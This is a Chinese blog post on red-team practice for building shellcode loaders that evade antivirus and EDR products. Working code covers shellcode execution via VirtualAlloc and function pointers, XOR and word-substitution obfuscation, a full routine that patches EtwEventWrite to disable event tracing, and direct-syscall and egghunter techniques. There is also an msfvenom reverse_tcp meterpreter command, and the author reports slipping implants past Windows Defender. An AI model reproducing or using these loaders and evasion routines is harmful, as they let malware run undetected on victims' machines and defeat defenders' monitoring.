当前位置:网站首页>模拟对抗之红队免杀开发实践
模拟对抗之红队免杀开发实践
2022-08-04 21:00:00 【wespten】
在模拟对抗过程中,“初始访问”阶段的一个关键挑战,就是绕过企业端点上的检测和响应能力 (EDR)。由于商业的c2框架向红队队员提供的是不可修改的shellcode和二进制文件,所以,安全解决方案供应商会提取这些代码的特征(或者成为签名),那么,为了植入这些代码,红队就必须对其特征(静态和行为特征)进行必要的混淆处理。
在这篇文章中,我将介绍以下技术,最终目标是执行恶意shellcode,也称为(shellcode)加载程序:
- Shellcode加密技术
- 降低熵值
- (本地)AV沙箱逃逸技术
- 导入表混淆技术
- 禁用Windows事件跟踪 (ETW)
- 规避常见的恶意API调用模式
- 使用直接系统调用并规避“系统调用标记”
- 删除ntdll.dll中的钩子
- 伪造线程调用堆栈
- beacon的内存加密
- 自定义反射型加载程序
- 利用柔性配置文件配置OpSec
一、Shellcode加密技术
让我们从一个基本且很重要的话题开始,shellcode静态混淆。在我的加载程序中,我利用了XOR或RC4加密算法,因为它们不仅易于实现,而且不会留下太多加密活动的痕迹。如果用AES加密来混淆shellcode的静态特征的话,会在二进制文件的导入地址表中留下加密痕迹,所以,很容易引起人们的怀疑。实际上,这个加载程序的早期版本中专门用于AES解密函数(如CryptDecrypt、CryptHashData、CryptDeriveKey等),很容易引起Windows Defender的注意。
从dumpbin /imports命令的输出结果不难看出,这个二进制代码使用了AES解密函数。
主要参考:
GitHub - Arno0x/ShellcodeWrapper: Shellcode wrapper with encryption for multiple target languages
内存执行shellcode
函数指针的概念
定义:
函数返回值类型 (* 指针变量名) (函数参数列表);
如:
int(*p)(int, int)
如何使用:
#include <iostream>
#include <windows.h>
void print() {
std::cout << "123";
}
int main(){
void(*p)();
p = print;
p();}
通过函数指针的方式可以调用当前程序地址空间里的函数,前提是需要知道虚拟内存种机器码的地址。一般和VirtualAlloc相结合
unsigned char shellcode[] = "\x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
虚拟内存
我们通过VirtualAlloc函数分配了一块虚拟内存,返回了一个指针变量exec,指向这块虚拟内存的首地址。 之后将数组拷贝到这块内存中,在visual studio里选择debug->window->memeory 可以查看当当前程序的内存情况,将调试器里exec的地址填入:
通过调试的插件我们可以看到此时shellcode已经被写入了内存,之后通过函数指针将void*强制转换成函数指针并进行调用。使用不经过混淆的的c shellcode,编译windows definder都会报毒,直接无法编译:
关闭definder,可以进行成功上线。
使用工具进行xor混淆,生成shellcode装载代码:
这种对shellcode的加密实际就是对字符串进行加密,主要是静态的混淆,这里刚开始没注意看官方的readme,官方的例子使用msf:
[email protected]:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw
生成的raw格式的,笔者开始使用cs直接生成了c代码,结果代码是对文件中每一个字节加密的。
重新生成raw格式代码,编译结果definder依旧报毒,注释了函数指针执行部分依旧。
二、降低熵值
许多AV/EDR解决方案在评估一个未知的二进制文件的安全性时,会考虑其熵值。这是因为,如果对shellcode进行加密,那么加密后的二进制文件的熵值就会陡增,这是一个明显的指标,表明该二进制文件中的代码很可能进行了混淆处理。
用于降低二进制文件的熵值的方法有很多,例如,下面就是两种简单有效的方法:
在二进制文件中添加低熵资源,如(低熵)图像。
添加字符串,如英语单词,或诸如“strings C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll”之类命令的输出。
一个更优雅的解决方案是设计并实现一种算法,将经过混淆处理(编码/加密)的shellcode变成英文单词(低熵)。这种方法简直就是一箭双雕。
在visual studio中,程序编译阶段选择resource file - > add -> resource - > icon,增加图标。
修改二进制文件特征
对于没有源码的程序,也可以通过工具resourcehacker修改图标,达到修改其特征值的效果:
三、(本地)AV沙箱逃逸技术
对于许多EDR解决方案来说,会先让二进制代码在本地沙箱中运行几秒钟,以检查其行为是否可疑。为了避免影响终端用户的体验,检查二进制文件的时间一般不会超过几秒钟(不过,有次发现Avast的检查时间竟长达30秒,但那是一个例外)。我们可以通过延迟shellcode的执行,来滥用这个限制。举例来说,本人最喜欢的做法,就是让程序先求一个大的素数。但是,读者可以更进一步:不仅求素数,并将其用作加密shellcode的(部分)密钥。
原文中提到可以延时shellcode的执行,原文作者采用的做法是取一个大素数并作为密钥的使用。笔者这里直接暴力使用sleep实现延时:
Thread.Sleep(1000*30);
对于云端沙箱,之前听别人简单说过,可以通过制造大文件、删除文件等方式阻止上传到云端。这里简单增加了一首MP3资源进可执行文件演示一下。
四、导入表混淆技术
要尽量避免可疑的Windows API(WINAPI)最终出现在我们的IAT(导入地址表)中。该表用于保存我们的二进制文件从其他系统库导入的所有Windows API的概要信息。这里提供了一个会引起安全软件怀疑的API列表,换句话说,EDR解决方案通常会检查这些API。通常情况下,这些API包括VirtualAlloc、VirtualProtect、 WriteProcessMemory、CreateRemoteThread、SetThreadContext等。实际上,只要运行dumpbin /exports <binary.exe>命令,就能列出所有的导入函数。在大多数情况下,我们可以通过直接系统调用,来绕过针对容易引起怀疑的WINAPI调用的EDR钩子(参考第7节),但对于不太容易引起怀疑的API调用,这种方法也能正常工作。
为此,我们添加WINAPI调用的函数签名,获得WINAPI在ntdll.dll中的地址,然后创建一个指向该地址的函数指针:
typedef BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
fnVirtualProtect = (pVirtualProtect) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR)sVirtualProtect);
// call VirtualProtect
fnVirtualProtect(address, dwSize, PAGE_READWRITE, &oldProt);
使用字符数组对字符串进行混淆处理时,通常会将字符串分割成更小的片段,这使得从二进制文件中提取它们更加费劲。
实际上,调用的仍然ntdll.dll WINAPI,并且无法绕过针对ntdll.dll中WINAPI的任何钩子,因此,这样做纯粹为了从IAT中删除可疑的函数。
一个更优雅的解决方案是设计并实现一种算法,将经过混淆处理(编码/加密)的shellcode变成英文单词(低熵)。这种方法简直就是一箭双雕。
其实也是类似shellcode混淆的技术,因为笔者的c很一般,c执行的时候需要存储字节和单词的映射关系,在c语言中没有string类型和dict等数据结构,也不熟悉STL,写起来很僵硬,这里使用c#执行shellcode。
意外发现简单混淆shellcode+csc编译就已经能够过windows definder了。
直接使用vs编译还是会报毒:
c#执行shellcode的方式略有区别,这里没有使用函数指针,而是使用了windows api createThread:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
顾名思义,在当前进程创建一个线程。主要是第三个参数提供一个指针。和VirtualAlloc+ Marshal.Copy结合使用。使用csc编译就可以bypass windows definder。
使用py对字节进行随机单词替换:
from random_words import RandomWords
hex_temp=[0x9d]
hex_single = list(set(hex_temp))
words=[]
words_list=[]
payload="string p =\""
# generate dict list --- for singel
rw = RandomWords()
for h in hex_single:
success_add=False
while not success_add:
word = rw.random_word()
if word not in words:
words.append(word)
words_list.append({h:word})
success_add=True
# convert shellcode to string
for h in hex_temp:
for d in words_list:
for k in d:
if h == k:
payload=payload+d[k]+" "
print(payload.rstrip(" ")+"\";")
# generate c# table to compare
ret_string="string s =\""
ret_h="char[] raw = {"
for d in words_list:
for k in d:
ret_string=ret_string+d[k]+" "
ret_h=ret_h+"(char)%d,"%(int(k))
ret_h=ret_h.rstrip(",");
ret_string=ret_string.rstrip(" ");
ret_h=ret_h+"};";
ret_string=ret_string+"\";"
print(ret_string)
print(ret_h)
使用C#进行解密:
依旧报毒:
但注释掉CreateThread部分就可以通过,shellcode的免杀没有大问题。这里换一种shellcode加载方式,魔改SharpInjector的EtwpCreateEtwThread加载:
可以成功上线:
五、禁用Windows事件跟踪 (ETW)
ETW指Windows事件追踪,是很多安全产品使用的windows功能。其部分功能位于ntdll.dll中,我们可以修改内存中的etw相关函数达到禁止日志输出的效果,最常见的方法是修改EtwEventWrite函数,详情可以参考:ETW的攻与防 & Detecting process injection with ETW
许多EDR解决方案广泛利用了Windows事件追踪(ETW),特别是Microsoft Defender for Endpoint(以前被称为Microsoft ATP)。ETW允许对一个进程的功能和WINAPI调用进行广泛的检测和追踪。此外,ETW在内核中也有一些组件,主要是为系统调用和其他内核操作注册回调,但也包括一个用户态组件,它是ntdll.dll的一部分,详见:
Design issues of modern EDRs:bypassing ETW-based solutions
由于ntdll.dll是一个加载到我们的二进制程序中的DLL,因此,我们可以完全控制这个DLL,从而控制ETW功能。对于用户空间中的ETW来说,可以通过多种方法来绕过它,但最常见的方法是修改EtwEventWrite函数,该函数的作用是写入/记录ETW事件。我们可以获取该函数在ntdll.dll中的地址,然后,将其第一条指令替换为返回0(SUCCESS)的指令。
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
虽然我发现上面的方法在测试的两种EDR上仍然有效,但这种方法“动静太大”。
几个api:
NtProtectVirtualMemory
NT开头的函数是内核函数,用户态函数为VirtualProtect :
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
该函数在调用进程的虚拟地址空间中更改对已提交页面区域的保护,第三个参数比较关键,参考memory-protection-constants。第四个参数返回内存原始属性的保存地址,修改完毕后要恢复。
对于这种未公开的api内核函数调用,需要手动去获取其地址,首先定义函数指针:
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
进行调用:
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll),"NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_NOACCESS, &oldprotect);
FlushInstructionCache
该函数主要是对内存修改后刷新缓存。
BOOL FlushInstructionCache(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[in] SIZE_T dwSize
);
参数一目了然,没什么好解释的。
我们首先找到EtwEventWrite函数在虚拟内内存中的地址:
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
将内存属性改成PAGE_READWRITE,这里size是我们需要修改内存的大小。
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);
修改内存:
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
恢复内存属性:
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);
完整的实现:
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
void disableETW(void) {
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
查看内存:
修改成功。
六、规避常见的恶意API调用模式
本文主要根据Bypassing EDR real-time injection detection logic这篇文章,对常规的内存写入行为进行了变化,混淆了一些带有机器学习特征的edr的检测,从而避免了报警。
基础知识
windows api hook
我们首先找到内存中需要被hook的函数地址:
LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);
找到后将前七个字节改为跳转,如下:
unsigned char jmpSc[7]{
0xB8, b[0], b[1], b[2], b[3],
0xFF, 0xE0
};
机器码对应的汇编指令大概是:
move eax,xxxx
jmp eax
修改这部分内存:
WriteProcessMemory(
hProc,
lpDllExport,
jmpSc,
sizeof(jmpSc),
&szWritten
);
这样我们就实现了劫持对应函执行流程的功能。如果想要维持函数原本的功能,保存原本的七个字节,在shellcode中再次替换这部分内存并jump回来。
大多数行为检测最终都是检测恶意模式,比如在很短的时间范围内针对特定的WINAPI的顺序调用。第4节中简要提到的可疑的WINAPI调用通常用于执行shellcode,因此,它们都是重点监控对象。然而,这些调用有时也用于良性活动(因此,这些VirtualAlloc、WriteProcess、CreateThread模式通常需要与内存分配和写入约250KB的shellcode等行为综合考虑),因此,EDR解决方案的挑战是如何区分良性和恶意调用。Filip Olszak撰写了一篇很好的博文,介绍了如何利用延迟以及分配和写入的内存空间的大小来甄别良性的WINAPI调用行为。简而言之,他的方法考虑到了典型的shellcode加载程序的以下行为:
- 与其分配一大块内存并直接将~250KB的implant shellcode写入该内存,不如分配小块但连续的内存,例如<64KB的内存,并将其标记为NO_ACCESS。然后,将shellcode按照相应的块大小写入这些内存页中。
- 在上述的每一个操作之间引入延迟。这将增加执行shellcode所需的时间,但也会淡化连续执行模式。
这项技术需要注意的一点是,要确保在连续的内存页中找到一个可以容纳整个shellcode的内存位置。实际上,Filip的DripLoader就实现了这个概念。
我所构建的加载程序并不会将shellcode注入到另一个进程中,而是使用NtCreateThread在自己的进程空间中启动shellcode。一个未知的进程(我们的二进制文件的流行度很低)进入其他进程(通常是Windows本地进程)是一种可疑的活动,需要高度注意(推荐阅读https://www.cobaltstrike.com/blog/cobalt-strike-4-5-fork-run-youre-history/)。当我们在加载程序的进程空间中的线程中运行shellcode时,更容易被进程中的良性线程执行和内存操作的噪音所掩盖。然而,缺点是,只要有一个后渗透模块发生崩溃,就会殃及加载程序进程,从而使implant随之崩溃。不过,借助于维持权限技术以及运行稳定可靠的BOF,还是可以克服这个缺点的。
Windows 内存分配的一些规则
- 在windows 10 64位下,内存最小的分配粒度为4kB, systeminfo结构体中,标识了这个变量,为内存分页的大小。
在windows中,所有VirtualAllocEx分配的内存,会向上取整到AllocationGranularity的值,windows10下为64kb,比如:
我们在0x40000000的基址分配了4kB的MEM_COMMIT | MEM_RESERVE的内存,那么整块0x40010000 (64kB)区域将不能被重新分配。
实现原理
很多edr将创建远程线程的行为列为可疑行为,比如windows definder仅仅是做记录但并不报警,产生报警还有其他的判断逻辑,下图是atp的记录:
因此完全依赖于 ntdll!NtCreateThread(Ex) 是不准确的,正常的程序也可以调用这个api。
寻找报警和记录之间的差异,可以让我们实现edr的绕过。
作者基于几个操作对用户行为进行了混淆:
- 与其分配一大块内存并直接将~250KB的implant shellcode写入该内存,不如分配小块但连续的内存,例如<64KB的内存,并将其标记为NO_ACCESS。然后,将shellcode按照相应的块大小写入这些内存页中。
- 在上述的每一个操作之间引入延迟。这将增加执行shellcode所需的时间,但也会淡化连续执行模式。
- 使用钩子,劫持RtlpWow64CtxFromAmd64函数,执行恶意shellcode
DripLoader
搜索内存中,找到内存块属性为free的内存:
pre-define a list of 64-bit base addresses and VirtualQueryEx the target process to find the first region able to fit our shellcode blob
寻找合适的内存基址,cVmResv即shellode长度/内存块大小+1,即一共需要多少块内存。当确定的基址连续cVmResv块的内存都free,返回这个基址:
延时执行:
确保内存可以被分配:
这里函数使用syscall调用,ANtAVM对应NtAllocateVirtualMemory:
确保内存不到64kb的,以4kb切片可以被分配:
写入内存,以4bits每次写入:
获取函数地址后进行hook -> jmp到我们shellcode的首地址:
创建进程,运行我们的shellcode:
可以成功执行shellcode:
详情请参考:EDR-Bypass-demo
七、使用直接系统调用并规避“系统调用标记”
系统核心态指的是R0,用户态指的是R3,系统代码在核心态下运行,用户代码在用户态下运行。系统中一共有四个权限级别,R1和R2运行设备驱动,R0到R3权限依次降低,R0和R3的权限分别为最高和最低。
在用户态运行的系统要控制系统时,或者要运行系统代码就必须取得R0权限。用户从R3到R0需要借助ntdll.dll中的函数,这些函数分别以“Nt”和“Zw”开头,这种函数叫做Native API,下图是调用过程:
这些nt开头的函数一般没有官方文档,很多都是被逆向或者泄露windows源码的方式流出的。
调用这些nt开头的函数,在《红队队开发基础-基础免杀(一)》中曾经通过在内存中找到函数的首地址的方式来实现:
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
反编译这段代码,就可以获取syscall最简单的形式:
即:
mov r10,rcx
mov eax,xxh
syscall
这里存储的是系统调用号,基于 eax 所存储的值的不同,syscall 进入内核调用的内核函数也不同。
装载程序可以利用直接系统调用来绕过EDR在ntdll.dll中设置的钩子。需要说明的是,这里不会深入讨论直接系统调用的工作原理,因为这超出了本文的讨论范围,感兴趣的读者就可以参考网络上的优秀文章(例如Outflank,详见https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/)。
简而言之,直接系统调用是直接调用等效内核系统调用的WINAPI。举例来说,我们不是调用ntdll.dll库中的VirtualAlloc函数,而是调用Windows内核中定义的、具有等效功能的内核函数NtAlocateVirtualMemory。这么做的好处是,能够绕过监控调用(在本例中)ntdll.dll库中定义的函数VirtualAlloc的所有EDR钩子。
为了直接调用一个系统调用,我们可以从ntdll.dll中获取想要调用的系统调用的syscall ID,然后,使用函数签名将函数的正确顺序和参数类型压入堆栈中,并调用syscall <id>指令。实际上,我们可以借助某些工具来自动完成上述操作,比如SysWhispers2和SysWhisper3。从免杀的角度来看,直接调用系统调用有两个问题:
- 二进制文件最终会用到系统调用指令,这很容易被静态检测到(又称“系统调用标记”,详见https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/)。
- 与通过等效ntdll.dll调用的系统调用的正常用法不同,系统调用的返回地址并不指向ntdll.dll。相反,它指向我们调用系统调用的代码,该代码驻留在ntdll.dll之外的内存区域。这是没有通过ntdll.dll调用系统调用的标志,表明这里很可能有猫腻。
为了克服这些问题,我们可以:
- 实现彩蛋猎手机制。先用彩蛋(一些随机的、唯一的、可识别的模式)替换syscall指令,然后在运行时,再在内存中搜索这个彩蛋,并使用ReadProcessMemory和WriteProcessMemory等WINAPI调用将其替换为syscall指令。之后,我们可以正常使用直接系统调用了。这种技术已经由klezVirus实现。
- 我们不从自己的代码中调用syscall指令,而是在ntdll.dll中搜索syscall指令,并在我们准备好调用系统调用的堆栈后跳转到该内存地址。这将导致RIP中的返回地址指向ntdll.dll内存区域。
实际上,SysWhisper3已经实现了这两种技术。
为什么使用syscall可以绕过edr?
用户调用windows api ReadFile,有些edr会hook ReadFile这个windows api,但实际上最终会调用到NTxxx这种函数。有些函数没有被edr hook就可以绕过。说白了还是通过黑名单机制的一种绕过。找到冷门的wdinwos api并找到对应的底层内核api。
sycall系统调用号文档:Microsoft Windows System Call Table (XP/2003/Vista/2008/7/2012/8/10)
写一个基础syscall
在vscode中开启asm支持:
右键asm文件,属性,修改为宏编译。
这里需要注意 .asm文件不能和.cpp文件重名,否则会link报错。
接着根据msdn的官方文档定义函数:
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
之后调用函数即可:
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
使用visual studio查看反汇编代码:
工具->选项->启用地址级调试,在调试过程中,Debug->window->disassembly。
可以看到最基础的汇编代码及字节码。
动态进行syscall
我们很多时候使用syscall不是直接调用,不会在代码里硬编码syscall的系统调用号。因为不同的系统调用号是不同的,所以我们需要进行动态syscall。
Hell’s Gate:地狱之门
这个工具遍历NtDLL的导出表,根据函数名hash,找到函数的地址。接着使用0xb8获取到系统调用号,之后通过syscall来执行一系列函数。
通过TEB获取到dll的地址可以参考:获取DLL的基地址
解析pe结构,获取导出表:
遍历hash表和导出表,找到syscall的函数,通过标记的方式获得系统调用号:
为什么匹配这几个字节就能找到syscall调用号呢?我们看这张图:
发现syscall对应的固定汇编语句为:
4C8BD1 -> mov r10, rcx
B8XXXXXXXX -> move eax,xx
0f05 -> syscall
转化成内存数组即:
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
逐字节遍历,直到出现mov r10, rcx和move eax,经过位运算得到syscall调用号。
程序自动生成的syscall汇编代码:
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
调用syscall,分配内存,修改内存属性,创建线程:
可以发现已经能够成功上线。
SysWhispers2
SysWhispers2 是一个合集,用python生成.c源码文件。这些文件的作用和Hell’s Gate类似,也是在PE中找导出表,之后通过对比函数hash找到syscall调用号。相对Hell’s Gate有更多的函数可供选择,不仅仅是内存相关的几个函数。并且对syscall的asm有一定程度的混淆(使用了INT 2EH替换sycall)。Halo’s Gate
光环之门应对native api被hook的情况,syscall有一个32字节的存根,通过编译每32字节寻找没有被hook的native api,主要是这两个汇编函数实现:
主要还是根据syscall的特征字节码4C 8B D1 B8,在内存中原本native api在的位置向上向下每32个字节进行搜索。找到没有被HOOK的存根后获取其系统调用号再减去移动的步数,就是所要搜索的系统调用号。
TartarusGate
TartarusGate主要是增加了对hook的判断,我们在下面的内容会提及hook的操作,一般有5字节和7字节hook。主要是JMP相对应的机器码E9的位置不同,通过判断函数开头第一个字节和第四个字节是否为E9可以大致判断是否被hook.ParallelSyscalls
该项目使用了接下来会在文章三种提及的技术,一言以蔽之就是恢复了被hook的ntdll之后再进行syscall。GetSSN
这个工具用了比较不同的思路,简单来说ssn(系统调用标记)实际上是从0开始的,只要我们获取到了所有的函数机器对应地址,通过地址进行排序,最终获得的标号顺序就是syscall id的顺序。
int GetSSN()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
弱化syscall的特征
主要内容来自原文SysWhispers is dead, long live SysWhispers!
使用int 2EH
syscall特征非常明显,静态特征就很容易被识别到:
针对这种情况,在SysWhispers2中就有所改良,如图:
找到了一种int 2EH替代syscall的办法,但随着攻防对抗的提升,该方法已经被检测。
egghunter
这里采用了egghunter的技术,先用彩蛋(一些随机的、唯一的、可识别的模式)替换syscall指令,然后在运行时,再在内存中搜索这个彩蛋,并使用ReadProcessMemory和WriteProcessMemory等WINAPI调用将其替换为syscall指令。之后,我们可以正常使用直接系统调用了。
关于egghunter的概念可以看fuzzysecurity的二进制入门教程。
我们在内存中使用db表示一个字节,比如我们在内存中.txt段写入"w00tw00t"的字节:
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003970B07h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
ret
NtAllocateVirtualMemory ENDP
接下来要做的就是遍历程序内存,搜索这段彩蛋:
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
ULONG64 startAddress = 0;
ULONG64 size = 0;
GetMainModuleInformation(&startAddress, &size);
if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}
ULONG64 currentOffset = 0;
unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
size_t nBytesRead;
printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
while (currentOffset < size - 8)
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
if(DEBUG > 0){
printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory\n");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory\n");
continue;
}
if(DEBUG > 0){
for (int i = 0; i < nBytesRead; i++){
printf("%02x ", current[i]);
}
printf("\n");
}
if (memcmp(egg, current, 8) == 0)
{
printf("Found at %llu\n", (ULONG64)currentAddress);
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}
}
printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
free(current);
}
这样做虽然可以绕过静态的检测了但依旧存在问题,理论上syscall行为应该只存在ntdll中,而我们使用syscall是在当前程序中。简单的判断RIP就可以检测出我们的可疑行为。
常规调用流程:
恶意程序的调用流程:
